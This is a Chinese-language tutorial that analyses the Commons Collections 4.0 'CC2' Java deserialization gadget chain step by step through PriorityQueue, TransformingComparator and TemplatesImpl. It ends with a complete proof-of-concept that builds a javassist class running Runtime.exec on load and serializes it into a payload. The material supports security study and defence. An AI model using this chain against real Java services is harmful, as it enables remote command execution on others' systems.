在学习之前,我们想一下反序列化漏洞的整个利用过程
1、客户端构造恶意payload进行封装(可能存在多层),并对其进行序列化
2、恶意Payload进行发送,服务端接受,服务端使用readobject函数(重写),他会对我们构造的payload进行反序列化读取。(多层处理,我们叫它反序列化链,在这里就是我们的CC链)
3、读取后进入逻辑处理的代码,可能会进行第二层readobject,第三层等,最后执行我们payload中的命令
因此需要三个条件:
1、构造好与目标环境匹配gadget的payload(如我们yso进行构造payload)
2、gadget,也就是CC链,因为目标的各种环境进行变化
3、readobject点,值需要我们可控且与gadget有关联,这个可以是程序员自己重写的,也可能是第三方组件重写的。
前言:
cc1有版本限制,原因在于高版本1.8 8u71的JDK改写了AnnotationInvocationHandler的readobject方法,导致readObject反序列化时出现一些异常。因此在1.8u71以上的JDK,我们可以尝试使用cc2。
限制
- commons-collections4:4.0
apache common collections的所有的攻击链的本质上都是找到一个完整的调用链,最终能够执行transform()方法。
CC2
CC2不是使用AnnotationInvocationHandler来进行构造的,而是使用javassist和PriorityQueue来构造利用链。
版本限制
commons-collections-4.0中的TransformingComparator继承了Serializable,而CC3.1则没有去实现Serializable接口,因此利用链便不能使用了。
PriorityQueue
正如它的名字一样,它是和队列有关的一个类,引用大佬的一段话
我们知道,Queue是一个先进先出(FIFO)的队列。 在银行柜台办业务时,我们假设只有一个柜台在办理业务,但是办理业务的人很多,怎么办? 可以每个人先取一个号,例如:A1、A2、A3……然后,按照号码顺序依次办理,实际上这就是一个Queue。 如果这时来了一个VIP客户,他的号码是V1,虽然当前排队的是A10、A11、A12……但是柜台下一个呼叫的客户号码却是V1。 这个时候,我们发现,要实现“VIP插队”的业务,用Queue就不行了,因为Queue会严格按FIFO的原则取出队首元素。我们需要的是优先队列:PriorityQueue
由此可见,该方法的作用如果正常使用的haul,就是一个普通的队列
add(E e) 将指定的元素插入此优先级队列
clear() 从此优先级队列中移除所有元素。
comparator() 返回用来对此队列中的元素进行排序的比较器;如果此队列根据其元素的自然顺序进行排序,则返回 null
contains(Object o) 如果此队列包含指定的元素,则返回 true。
iterator() 返回在此队列中的元素上进行迭代的迭代器。
offer(E e) 将指定的元素插入此优先级队列
peek() 获取但不移除此队列的头;如果此队列为空,则返回 null。
poll() 获取并移除此队列的头,如果此队列为空,则返回 null。
remove(Object o) 从此队列中移除指定元素的单个实例(如果存在)。
size() 返回此 collection 中的元素数。
toArray() 返回一个包含此队列所有元素的数组
TransformingComparator
它和CC1中的ChainedTransformer比较像
分析
整个CC2的调用链如下所示,我们可以shift+ctrl+F来搜索一下的方法,然后打上断点
/*
Gadget chain:
ObjectInputStream.readObject() //输入流传值后调用readObject进行反序列化
PriorityQueue.readObject() //进入CC2 入口,readObject
PriorityQueue.heapify()
PriorityQueue.siftDown
PriorityQueue.siftDownUsingConparator()
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
*/
1、PriorityQueue.readObject()
java.util.PriorityQueue.java默认存在readObject方法,处理传入的inputStream
打上断点
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();
// Read in (and discard) array length
s.readInt();
SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size);
queue = new Object[size];
// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();
// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
}
可以看到第10行进行了多次反序列化,并进入队列中
点击F7在13行进入heapify方法里,可以看到对队列调用了siftDown函数PriorityQueue.heapify()
跟进siftDown函数,其中队列中包含了两个元素,其中一个即为templatesImpl恶意类,当camparator不为空时,就调用了siftDownUsingComparator 进行处理 PriorityQueue.siftDown
将teamplatesImpl传入siftDownUsingComparator 方法中进行处理(就是参数E)PriorityQueue.siftDownUsingConparator()
之后就会调用comparator的compare函数来对E进行处理,因为我们这里的compare是被TransformingComparator修饰过的InvokerTransformer实例化对象。所以这里实际调用的就是TransformingComparator的compare
F7进入if (comparator.compare(x, (E) c) <= 0) 中 TransformingComparator.compare()
进入TransformingComparator.compare中,接受两个参数,内容为TemplatesImpl的实例化对象,该对象会被transformer.transform()里进行处理 InvokerTransformer.transform()
可以看到这里面的内容
反射调用了templatesImpl的newTransformer方法,跟进newTransformer方法,newTransformer又调用了getTransleInstance()方法,
进入了getTransleInstance里, 首先判断是否为空,为空的话就进入defineTransletClasses方法中
进入defineTransletClasses中,该方法会对bytecodes进行解析。可以看到for(int i=0li
转换结束后,回到getTransleInstance
由于变量 _transletIndex 的值为 “ 0 “ , 因此 _class[_transletIndex] 实际上就是我们通过 JAVAssist 构造的恶意类 。
现在会对恶意类调用 newInstance() 方法 , 类会先被加载后再被实例化 .类在加载时会调用静态代码块中的内容 . 因此服务端最终会进入 java.lang.Runtime.getRuntime().exec() 反射链 , 执行系统命令。
Runtime.exec()_
但是实际上到这一步就进入了CC1我们熟悉的地方了
POC:
package ysoserial.secmgr;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class xxx {
public static void main(String[] args) throws Exception {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool=ClassPool.getDefault();//返回默认的类池
classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
CtClass payload=classPool.makeClass("CommonsCollections22222222222");//创建一个新的public类
payload.setSuperclass(classPool.get(AbstractTranslet)); //设置前面创建的CommonsCollections22222222222类的父类为AbstractTranslet
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个空的类初始化,设置构造函数主体为runtime
byte[] bytes=payload.toBytecode();//转换为byte数组
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
field.setAccessible(true);//暴力反射
field.set(templatesImpl,new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组
Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
field1.setAccessible(true);//暴力反射
field1.set(templatesImpl,"test");//将templatesImpl上的_name字段设置为test
InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
TransformingComparator comparator =new TransformingComparator(transformer);//使用TransformingComparator修饰器传入transformer对象
PriorityQueue queue = new PriorityQueue(2);//使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。
queue.add(1);//添加数字1插入此优先级队列
queue.add(1);//添加数字1插入此优先级队列
Field field2=queue.getClass().getDeclaredField("comparator");//获取PriorityQueue的comparator字段
field2.setAccessible(true);//暴力反射
field2.set(queue,comparator);//设置queue的comparator字段值为comparator
Field field3=queue.getClass().getDeclaredField("queue");//获取queue的queue字段
field3.setAccessible(true);//暴力反射
field3.set(queue,new Object[]{templatesImpl,templatesImpl});//设置queue的queue字段内容Object数组,内容为templatesImpl
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
outputStream.writeObject(queue);
outputStream.close();
ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
inputStream.readObject();
}
}